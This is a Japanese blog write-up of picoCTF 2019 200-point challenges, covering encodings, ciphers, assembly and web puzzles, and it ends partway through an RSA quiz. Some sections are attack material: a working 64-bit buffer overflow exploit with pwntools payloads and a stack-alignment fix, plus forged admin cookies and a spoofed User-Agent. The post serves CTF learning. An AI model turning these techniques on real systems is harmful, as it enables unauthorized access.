好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2019 200pt問題のwrite-up

中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。

kusuwada.hatenablog.com

[General] Based (200pt)

To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc 2019shell1.picoctf.com 31615.

エンコードの問題のようです。指定のホストにつないでみます。

$ nc 2019shell1.picoctf.com 31615
Let us see how data is stored
pear
Please give the 01110000 01100101 01100001 01110010 as a word.
...
you have 45 seconds.....

Input:

2進の 01110000 01100101 01100001 01110010 を ascii に変換したら pear なので、これを入れたら正解。次の問題が出ます。
が、いちいち手で調べていたら 45 秒しか無いとのことなので間に合わない可能性が。picoCTF2018のGeneral what base is this?で作成したスクリプトを使いまわします。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import binascii

def hex2ascii(hex_str):
    return bytes.fromhex(hex_str).decode('utf-8')

def bin2ascii(bin_str):
    n = int(bin_str, 2)
    return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode()

def oct2ascii(oct_str):
    return chr(int(oct_str, 8))

def int2ascii(int_str):
    return chr(int(int_str))

while True:
    str_format = input('please input format. {bin|hex|oct}\n')
    str_list = input('please input char list.\n')
    str_arr = str_list.split()
    output = ""
    
    for s in str_arr:
        if str_format == 'bin':
            output += bin2ascii(s)
        elif str_format == 'hex':
            output += hex2ascii(s)
        elif str_format == 'oct':
            output += oct2ascii(s)
        else:
            print('unknown format.')
            break
    print(output)

これを立ち上げておいて問題をときます。

$ nc 2019shell1.picoctf.com 31615
Let us see how data is stored
street
Please give the 01110011 01110100 01110010 01100101 01100101 01110100 as a word.
...
you have 45 seconds.....

Input:
street
Please give me the  156 165 162 163 145 as a word.
Input:
nurse
Please give me the 6368616972 as a word.
Input:
chair
You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_0df4252d}

ちなみに立ち上げておいた方のスクリプト実行内容

$ python solve.py 
please input format. {bin|hex|oct}
bin                                                      
please input char list.
01110011 01110100 01110010 01100101 01100101 01110100
street

please input format. {bin|hex|oct}
oct
please input char list.
156 165 162 163 145
nurse

please input format. {bin|hex|oct}
hex
please input char list.
6368616972
chair

[Web] Client-side-again (200pt)

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/47277/ (link) or http://2019shell1.picoctf.com:47277

またクライアントサイドにクレデンシャル情報が埋めてある問題っぽいです。指定されたリンク先に飛んでみます。

f:id:kusuwada:20191012020206p:plain

かっこよくなってます。が、またクレデンシャルを入れるフォームのみの機能です。
ソースコードを確認します。

(略)
<script type="text/javascript">
  var _0x5a46=['d9590}','_again_a','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}
</script>
(略)

おー、なんか読みにくくなってる。
いくつかjsの難読化解除・整形のwebsiteがあるので、そちらを使って読みやすくしてみます。

今回は Javascript Viewer, Beautifier and Formatter, Editor こちらを使わせていただきました。整形後のコードはこちら。

var _0x5a46 = ['d9590}', '_again_a', 'this', 'Password\x20Verified', 'Incorrect\x20password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function(_0x4bd822, _0x2bd6f7) {
    var _0xb4bdb3 = function(_0x1d68f6) {
        while (--_0x1d68f6) {
            _0x4bd822['push'](_0x4bd822['shift']());
        }
    };
    _0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));
var _0x4b5b = function(_0x2d8f05, _0x4b81bb) {
    _0x2d8f05 = _0x2d8f05 - 0x0;
    var _0x4d74cb = _0x5a46[_0x2d8f05];
    return _0x4d74cb;
};

function verify() {
    checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
    split = 0x4;
    if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {
        if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
            if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
                if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
                    if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
                        if (checkpass['substring'](0x6, 0xb) == 'F{not') {
                            if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
                                if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
                                    alert(_0x4b5b('0x8'));
                                }
                            }
                        }
                    }
                }
            }
        }
    } else {
        alert(_0x4b5b('0x9'));
    }
}

ちょっと見やすくなった。
ちゃんとコードを追ったり、js実行してみたりしたほうがいいんだろうけども、最初の配列 _0x5a46 の要素を組み合わせればflagになる予感がしたので、flagっぽく組み立ててみる。

flag: picoCTF{not_this_again_ad9590}

通ったので良し。

[General] First Grep: Part II (200pt)

Can you find the flag in /problems/first-grep--part-ii_1_49b202cd63f432b71d964b35f3912ff9/files on the shell server? Remember to use grep.

first なのに part2 である…。
指定の shell server のディレクトリに行くと、沢山ディレクトリが。更に各階層の下には沢山のファイルが。

$ ls
files0  files1  files10  files2  files3  files4  files5  files6  files7  files8  files9
$ cd files0
$ ls
file0  file10  file12  file14  file16  file18  file2   file21  file23  file25  file27  file4  file6  file8
file1  file11  file13  file15  file17  file19  file20  file22  file24  file26  file3   file5  file7  file9

grepコマンドで階層以下全部再帰的に検索してもらう。

$ grep -r picoCTF{ *
files1/file3:picoCTF{grep_r_to_find_this_142b9c9e}

[Crypto] Flags (200pt)

What do the flags mean?

こんな画像が配布されます。

f:id:kusuwada:20191012020419p:plain

国旗っぽいけど違う。よく見ると、{}が間に入っているのと、{の前に旗が7つ。
PICOCTF{、に置き換えるに違いない。換字暗号の画像版かな?
既出の旗を文字に置き換えると PICOCTF{F********T*FF}。うーん、中をエスパーするにはスカスカすぎる...。

けど、旗になにか規則性も感じないし、クロスワード用の検索サイト Crossword Solver Quick Solve - Free Online Missing Letter Solver で色々試してみたけどピンとくる単語が思いつかずエスパー失敗。

ダメ元で一つflagを取り出して画像検索にかけてみると、International Marine signal flag(国際信号旗)がヒット!やったぜ!よめる、読めるぞ!!
International maritime signal flags - Wikipedia

flag: PICOCTF{F1AG5AND5TUFF}

画像検索大事!

[Crypto] Mr-Worldwide (200pt)

A musician left us a message. What's it mean?

message.txt が配布されます。

picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}

なんとなくflagの形式になっています。そして、タイトルから世界に関係ありそう。そして更に最初の(35.028309, 135.753082)、日本のどこかの緯度経度を示しているような気がします…。

GoogleMapの機能に、座標を 緯度, 経度 の形で突っ込むと位置を表示してくれるのがあるので全部やってみました。色んな国になっています。

35.028309, 135.753082  # 日本, Kyoto
46.469391, 30.740883   # ウクライナ, Odesa 
39.758949, -84.191605  # アメリカ合衆国, Ohio, Dayton
41.015137, 28.979530   # トルコ, Istanbul
24.466667, 54.366669   # アラブ首長国連邦, Abu Dhabi
3.140853, 101.693207   # マレーシア, Kuala Lumpur
_
9.005401, 38.763611    # エチオピア, Addis Ababa
-3.989038, -79.203560  # エクアドル, Loja
52.377956, 4.897070    # オランダ, Amsterdam
41.085651, -73.858467  # アメリカ合衆国, New York, Sleepy Hollow
57.790001, -152.407227 # アメリカ合衆国, Alaska, Kodiak
31.205753, 29.924526   # エジプト, Alexandria

番地まであったり詳細な場所を指していますが、州や県だとflagに繋がりそうになかったので国かな?。国コードをつなげてみたりなどしたり。

alpha-2

JPUAUSTRAEMY_ETECNLUSUSEG

alpha-3

JPNUKRUSATURAREMYS_ETHECUNLDUSAUSAEGY

この文字列を入れ替えて単語を作ってみようとしたり。が、うまくいきません。

しょうがないので一段下げて、Cityの頭文字で考えてみます。アメリカは州制度なので、州にすべきかCityにすべきか…?Cityにしたところ、意味の有りそうな単語になりました!

flag: picoCTF{KODIAK_ALASKA}

以下余談

ググってみたり、DiscodeでOSINTしてみたりしたところ、こんなのを見つけたり。

ジオハッシュ - Wikipedia

ジオハッシュという経緯度に基づくジオコーディング方法があるらしい。これの変換サイトもいくつか見つけたので、こちらで全ての緯度経度を変換してもらいます。

xn0x30sqsn4d
u8mb7e2zf6rd
dph4hjvs9mm0
sxk976w4rzxy
thqejnh8ejq9
w283f5f8z3rj
_
scee4p6u387m
6pr9m9vdpm3j
u173zrjgwn8j
dr73xr3vkbrq
bd78gbk7nhyz
stt38by6evzz

こんな感じ。flagには繋がらなかった。またどこかで役に立つかな…。

[Binary] NewOverFlow-1 (200pt)

Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1_0_f9bdea7a6553786707a6d560decc5d50 on the shell server. Source.

この問題は OverFlow 2 を解いたら出てきました。こっちのほうが点数低い…。
また実行ファイルvulnと、ソースコードvuln.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

今度は64bitアーキテクチャのようです。その他は Overflow 1 とほぼ同じのようです。
こちらに32bitのときとの違いがわかりやすくまとまっていたので参考にさせていただきました。

x64でpwnするときの注意点 - Qiita

  • 引数の渡し方が変わってる。

  • x86では関数呼び出しするときにスタックに値を積んで引数を渡していたため、バッファオーバーフローなどでそのまま引数を渡せた。

  • x64ではレジスタに引数の値を指定するため、引数の操作がやりにくくなっている。

  • 引数を渡すときは、まずスタックに値を設定してからROPで正しいレジスタに値をpopする必要がある。

  • ropperとかrp++とかを使って、目当てのものを探そう。

他、自分の過去記事で64bitの問題を扱った記事も参考にしつつ。

ångstromCTF 2019 Chain of Rope

まずはflag関数のアドレスを調べます。

$ objdump -d vuln | grep flag
0000000000400767 <flag>:
  40078b:       75 16                   jne    4007a3 <flag+0x3c>

flag関数のアドレスは 0000000000400767
stackはこんな感じと思われます。

eax    | buffer start |
       | <64+8 bytes> |
       | buffer end   |
ebp    |   <4 bytes>  |
return |              |

64+8(=72)バイトがオフセット。ということで今回は、72バイトを適当に埋めてあげて先程のflag関数のアドレスを流します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

e = ELF('vuln')

flag_addr = 0x400767

payload = b'a' * (64+8+4)
payload += p64(flag_addr)

print(payload)

実行結果

$ python solve.py 
[*] '/picoCTF_2019/Binary/200_NewOverFlow-1/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag\x07@\x00\x00\x00\x00\x00'

これを shell server で送り込んでみます。

$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag\x07@\x00\x00\x00\x00\x00" | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag: 
Segmentation fault

うーん、とれませんなー。いけると思ったんだけどな?

ここで競技終了。これが解けてれば200点問題まで全制覇だったので悔しい・・・!

他の方のwriteupを読んでみると、こんなことが。

  • ずらしたらいけた

  • なんか通らなかったから、アドレスをずらしてみた

えー、よくわからん。超能力者か。
もう少し色々見てみると、解説してくれているwriteupが。

これらによると、

  • 64ビットでもやることは変わらん……と思ったら、flag関数に飛んだ時点でスタックが16バイト境界に揃っていないと、printfの中で落ちる。一旦空のretを挟むか、400767ではなく40768に飛ばす。

  • Let's take a look at the movaps Reference:

    • When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.
  • printfでセグフォを起こすことがわかります。これはThe MOVAPS issueと呼ばれるものようで、printfを呼ぶときにスタックが"16 byte aligned"である必要があるみたいです

どうやら、flagを出力するための printf 関数を実行する際に落ちているらしい。更に、printf の中のmovaps命令で落ちているようだ。上記の通りmovapsのリファレンスより、16バイト境界に揃っている必要があると。
3つめのwriteupにThe MOVAPS issueへのリンクがありました。

The MOVAPS issue If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack.

picoCTF2019のshell serverは

Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-1052-aws x86_64)

とのことなので Ubuntu 18.04。printf関数のmovapssegfault。まさにこれだ。
対処方法まで書いてある。

movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

へーへーへー!
2種類の解き方を観測。

  1. 16バイトに揃えるため、flag関数のアドレスを1足す
  2. 先程の対処法の通り、一旦retを挟む

1の解き方は、先程試したスクリプトflag_addr を1足したものにするだけ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

# flag_addr = 0x400767
flag_addr = 0x400768

payload = b'a' * (64+8)
payload += p64(flag_addr)

print(payload)

実行結果

$ python solve.py 
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x07@\x00\x00\x00\x00\x00'

これを shell server の指定されたディレクトリで実行すると

$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaah\x07@\x00\x00\x00\x00\x00"; cat) | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag: 
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_1a8eb93a}

とれた。

2の方法は、flag関数に飛ばす前にretを挟む。retのアドレスは、localのradare2で確認。

$ r2 vuln
> aaaa
> s.sym.flag
(略)
|           0x004007c9      90             nop
|           0x004007ca      c9             leave
\           0x004007cb      c3             ret
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

flag_addr = 0x400767
ret_addr = 0x4007cb

payload = b'a' * (64+8)
payload += p64(ret_addr)
payload += p64(flag_addr)

print(payload)

実行結果

$ python solve2.py 
b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x07@\x00\x00\x00\x00\x00g\x07@\x00\x00\x00\x00\x00'

これを送ってみます。

$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x07@\x00\x00\x00\x00\x00g\x07@\x00\x00\x00\x00\x00"; cat) | ./vuln
Welcome to 64-bit. Give me a string that gets you the flag: 
picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_1a8eb93a}

でた!
16バイトアライメントの話、全然知らなかったなぁ。Binaryはまだまだ知らないことだらけだ。でも知らなかったとしても、動きを追ったりして確認できれば解けるのかも知れない。。。

[Web] Open-to-admins (200pt)

This secure website allows users to access the flag only if they are admin and if the time is exactly 1400. https://2019shell1.picoctf.com/problem/45127/ (link) or http://2019shell1.picoctf.com:45127

Hints

Can cookies help you to get the flag?

指定されたリンクに飛ぶと、Flagと書かれたボタンが有るだけのサイトが。

f:id:kusuwada:20191012020456p:plain

Signin メニューを推してみると、未実装とのことです。この後の問題で出てくるのかな?

f:id:kusuwada:20191012020506p:plain

Flagボタンを押してみます。

f:id:kusuwada:20191012020522p:plain

adminじゃないと表示してくれないみたいです。問題文のとおりですね。あとはtimeが1400じゃないとだめみたいです。

Hintから、cookieがヒントになりそうなので確認してみます。

__cfduid: d95bcee7e15545a2458813d39189401d61569824421

このcookieだけです。とりあえず言われたとおりcookie

time: 1400
admin: True

の2つのcookieを追加してみます。

f:id:kusuwada:20191012020542p:plain

ページを更新すると出ました…!

f:id:kusuwada:20191012020551p:plain

[Crypto] Tapping (200pt)

Theres tapping coming in from the wires. What's it saying nc 2019shell1.picoctf.com 21897.

指定されたホストに接続して見ます。

$ nc 2019shell1.picoctf.com 21897
.--. .. -.-. --- -.-. - ..-. { -- ----- .-. ... ...-- -.-. ----- -.. ...-- .---- ... ..-. ..- -. .---- ---.. .---- ---.. ..--- ..--- ....- ..... --... ..... } 

モールス信号っぽい。いい加減モールス信号のプログラム作りたい。
が、今回はこのサイトに突っ込むだけで出来たので、また今度。

f:id:kusuwada:20191012020732p:plain

flag: PICOCTF{M0RS3C0D31SFUN1818224575}

[Reversing] asm1 (200pt)

What does asm1(0x1f3) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_2_4ced82d316c06cd3a46ba3bda9f6c144.

test.Sが配布されます。アセンブリのようです。

asm1:
    <+0>: push   ebp
    <+1>: mov    ebp,esp
    <+3>: cmp    DWORD PTR [ebp+0x8],0x767
    <+10>:    jg     0x512 <asm1+37>
    <+12>:    cmp    DWORD PTR [ebp+0x8],0x1f3
    <+19>:    jne    0x50a <asm1+29>
    <+21>:    mov    eax,DWORD PTR [ebp+0x8]
    <+24>:    add    eax,0xb
    <+27>:    jmp    0x529 <asm1+60>
    <+29>:    mov    eax,DWORD PTR [ebp+0x8]
    <+32>:    sub    eax,0xb
    <+35>:    jmp    0x529 <asm1+60>
    <+37>:    cmp    DWORD PTR [ebp+0x8],0xcde
    <+44>:    jne    0x523 <asm1+54>
    <+46>:    mov    eax,DWORD PTR [ebp+0x8]
    <+49>:    sub    eax,0xb
    <+52>:    jmp    0x529 <asm1+60>
    <+54>:    mov    eax,DWORD PTR [ebp+0x8]
    <+57>:    add    eax,0xb
    <+60>:    pop    ebp
    <+61>:    ret    

これに 0x1f3 を入れたらどうなりますか?という問題です。読んでみます。

asm1:
    <+0>: push   ebp                          # base pointer を stackの一番上に
    <+1>: mov    ebp,esp                      # stack pointer を ebp に追従
    <+3>: cmp    DWORD PTR [ebp+0x8],0x767    # 入力値(0x1f3)と 0x767 を比較
    <+10>:    jg     0x512 <asm1+37>              # cmpの結果2つ目の値のほうが大きいので処理続行
    <+12>:    cmp    DWORD PTR [ebp+0x8],0x1f3    # 入力値(0x1f3)と 0x1f3 を比較
    <+19>:    jne    0x50a <asm1+29>              # 等しいので処理続行
    <+21>:    mov    eax,DWORD PTR [ebp+0x8]      # eaxに入力値を代入
    <+24>:    add    eax,0xb                      # 0x1f3 + 0xb = 0x1fe
    <+27>:    jmp    0x529 <asm1+60>              # 60に飛ぶ
    <+29>:    mov    eax,DWORD PTR [ebp+0x8]
    <+32>:    sub    eax,0xb
    <+35>:    jmp    0x529 <asm1+60>
    <+37>:    cmp    DWORD PTR [ebp+0x8],0xcde
    <+44>:    jne    0x523 <asm1+54>
    <+46>:    mov    eax,DWORD PTR [ebp+0x8]
    <+49>:    sub    eax,0xb
    <+52>:    jmp    0x529 <asm1+60>
    <+54>:    mov    eax,DWORD PTR [ebp+0x8]
    <+57>:    add    eax,0xb
    <+60>:    pop    ebp                          # eax = 0x1fe を返して終了
    <+61>:    ret    

なので答えは 0x1fe。flagも問題文にあるとおりこのままです。

[Crypto] la cifra de (200pt)

I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 37608.

指定されたホストに接続してみます。

$ nc 2019shell1.picoctf.com 37608 Encrypted message: Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk

Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd

Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo

Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xj62p044a}

Zmp fowdt cjwl-jtnusjytki oeyhcivytot tq a vtwygqahggptoh nivmpr nthebjc, wgx xajj lruzyd 1467 hd Weus Mazytszf Llhjcto.

Yse Bnretèwp Cousex nd tnjceltce ytxeznxey hllrjo tnj Llhjcto Itsi tc Argprzn Nivmpr.

Os 1508, Uonfynkx Eroysesnfs osgetypd zmp su-hllrjo tggflg wpczf (l mgycid tq snnqtki llvmlbkyd) tnfe wuzwd rfeex gp a iwttohll itxpuspnz tq tnj Gimjyèrk Htpnjc.

Bkqwayt’d skhznj gzoqqpt guaegwpd os 1555 ls g hznznyugytot tq tnj qixxe. Tnj wocjc hgqgey tq tnj llvmlbkyd axj yoc xsilypd xjrurfcle, gft zmp arusahjes gso tnj tnjji lkyeexx lrk rtxki my sjlny tq a sspmustc qjj pnwlsk, bsiim nat gp dokqexjyt cneh kfnh itcrkxaotipnz.

長い!ヒントを見るとこれを解くのに役立つツールがあるそうですが、いつも人力といている私です…。これはきっと換字暗号に違いない。そして文の中ほどにflagっぽいフォーマットがあります。

pohzCZK{m311a50_0x_a1rn3x3_h1ah3xj62p044a}

十分長い長さがあれば解析してくれるオンラインサイトもありそうですが、せっかくなので人力で解いてみます。先程のフラグフォーマットから、下記の変換ができそう。

p -> p
o -> i
h -> c
z -> o
C -> C
Z -> T
K -> F

大文字小文字の差があれど、同じ c が違う文字に変換されているようです。これは、ずらす文字数が複数ありそうです。何文字ずらされているか数えてみます。

p -> p 0
o -> i 6
h -> c 5
z -> o 11
C -> C 0
Z -> T 6
K -> F 5

あ、規則がありそうです。これいつかどこかでやりました。ずらす文字をアルファベットに以下のように置き換えてみると

0 -> A
6 -> G
5 -> F
11-> L

見慣れた文字列です。そう、FLAG。これがKey。文章の先頭から順番にずらしてやります。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

cipher = """Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk

Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd

Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo 

Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xj62p044a}

Zmp fowdt cjwl-jtnusjytki oeyhcivytot tq a vtwygqahggptoh nivmpr nthebjc, wgx xajj lruzyd 1467 hd Weus Mazytszf Llhjcto.

Yse Bnretèwp Cousex nd tnjceltce ytxeznxey hllrjo tnj Llhjcto Itsi tc Argprzn Nivmpr.

Os 1508, Uonfynkx Eroysesnfs osgetypd zmp su-hllrjo tggflg wpczf (l mgycid tq snnqtki llvmlbkyd) tnfe wuzwd rfeex gp a iwttohll itxpuspnz tq tnj Gimjyèrk Htpnjc.

Bkqwayt’d skhznj gzoqqpt guaegwpd os 1555 ls g hznznyugytot tq tnj qixxe. Tnj wocjc hgqgey tq tnj llvmlbkyd axj yoc xsilypd xjrurfcle, gft zmp arusahjes gso tnj tnjji lkyeexx lrk rtxki my sjlny tq a sspmustc qjj pnwlsk, bsiim nat gp dokqexjyt cneh kfnh itcrkxaotipnz.
"""

key = "flag"
alphabet = list(string.ascii_lowercase)

def shift(c, k):
    idx = (alphabet.index(c) - alphabet.index(k)) % 26
    return alphabet[idx]

plain = ""
key_idx = 0
for c in cipher:
    if c == 'è':
        plain += c
    elif c.isupper():
        plain += shift(c.lower(), key[key_idx]).upper()
        key_idx = (key_idx + 1) % len(key)
    elif c.islower():
        plain += shift(c, key[key_idx])
        key_idx = (key_idx + 1) % len(key)
    else:
        plain += c
print(plain)

èisalpha で true になってアルファベット認定されていたので、特別に除外しています。
実行結果

$ python solve.py 
It is interesting how in history people often receive credit for things they did not create

During the course of history, the Vigenère Cipher has been reinvented many times

It was falsely attributed to Blaise de Vigenère as it was originally described in 1553 by Giovan Battista Bellaso in his book La cifra del. Sig. Giovan Battista Bellaso 

For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3re62e044a}

The first well-documented description of a polyalphabetic cipher however, was made around 1467 by Leon Battista Alberti.

The Vigenère Cipher is therefore sometimes called the Alberti Disc or Alberti Cipher.

In 1508, Johannes Trithemius invented the so-called tabula recta (a matrix of shifted alphabets) that would later be a critical component of the Vigenère Cipher.

Bellaso’s second booklet appeared in 1555 as a continuation of the first. The lower halves of the alphabets are now shifted regularly, but the alphabets and the index letters are mixed by means of a mnemonic key phrase, which can be different with each correspondent.

[Web] picobrowser (200pt)

This website can be rendered only by picobrowser, go and catch the flag! https://2019shell1.picoctf.com/problem/49789/ (link) or http://2019shell1.picoctf.com:49789

リンクに飛んでみます。

f:id:kusuwada:20191012020809p:plain

またflagボタンだけのサイトです。押してみます。

f:id:kusuwada:20191012020818p:plain

picobrowserじゃないと怒られます。自分のUserAgentらしきものが表示されているので、UApicobrowserに変えてやると良さそうです。

ChromeでのUAの変更方法はこんな感じ。
開発者ツールのメニューの3点アイコンから、More tools > Network conditions を選択

f:id:kusuwada:20191012020834p:plain

UserAgentの欄を Select automatically チェックを外して Custom を選択、好きな文字列を入れます。

f:id:kusuwada:20191012020845p:plain

この状態で再び /flag にアクセスすると、flagが表示されました!

f:id:kusuwada:20191012020902p:plain

[General] plumbing (200pt)

Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to 2019shell1.picoctf.com 63345.

指定のホストにつないでみます。

$ nc 2019shell1.picoctf.com 63345
Again, I really don't think this is a flag
I don't think this is a flag either
Not a flag either
This is defintely not a flag
Not a flag either
Not a flag either
I don't think this is a flag either
Not a flag either
Again, I really don't think this is a flag
I don't think this is a flag either
I don't think this is a flag either
This is defintely not a flag
...

こんなのがだーっと流れてきます。これもgrepでフィルタしてあげます。

$ nc 2019shell1.picoctf.com 63345 | grep picoCTF{
picoCTF{digital_plumb3r_4e7a5813}

[Crypto] rsa-pop-quiz (200pt)

Class, take your seats! It's PRIME-time for a quiz... nc 2019shell1.picoctf.com 48028

RSA暗号問題のようです。指定されたホストにつないでみます。

$ nc 2019shell1.picoctf.com 48028
Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):

このRSA問題の形式は、picoCTF2018でも出ました!rsa-madlibs
今回も in decimal. No hex here! とのことで、10進のまま答えを入力します。

1問目

#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):

n = p * q なので計算できます。

4636878989

2問目

#### NEW PROBLEM ####
p : 54269
n : 5051846941
##### PRODUCE THE FOLLOWING ####
q
